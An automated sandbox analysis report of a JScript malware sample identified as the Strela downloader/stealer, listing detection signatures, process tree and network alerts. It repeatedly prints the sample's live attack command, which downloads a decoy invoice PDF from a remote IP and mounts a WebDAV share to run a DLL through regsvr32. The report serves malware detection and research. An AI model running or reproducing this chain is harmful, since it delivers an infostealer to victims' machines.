Edit tour

Windows Analysis Report
27344289642108220053.js

Overview

General Information

Sample name:	27344289642108220053.js
Analysis ID:	1587955
MD5:	3d66905f222a6e10cb54e34459f3f1c1
SHA1:	d18f32d2b190824478527ea64178016db6892ab5
SHA256:	a75f78dbe424e438b128781f8460ec7f1c2b24f46e6cb98401cfc394d6829a15
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3648 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5280 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1988 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4044 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1560 --field-trial-handle=1528,i,3778512478076326924,10828754836765163400,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4424 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4584 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4900 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3648	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5280, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1988, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5280, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1988, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ProcessId: 3648, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4584, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ProcessId: 5280, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ProcessId: 5280, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ProcessId: 5280, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ProcessId: 5280, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ProcessId: 5280, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ProcessId: 3648, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5280, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1988, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4424, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4584, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4900, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4424, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4584, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3648, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll, ProcessId: 5280, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:45:07.036629+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:45:04.198566+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 27344289642108220053.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 27344289642108220053.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:45:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

